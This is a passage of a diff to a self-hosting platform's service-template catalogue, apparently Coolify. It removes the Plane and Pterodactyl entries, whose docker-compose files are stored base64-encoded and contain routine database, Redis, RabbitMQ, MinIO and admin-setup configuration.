gICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3878,38 +3837,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgI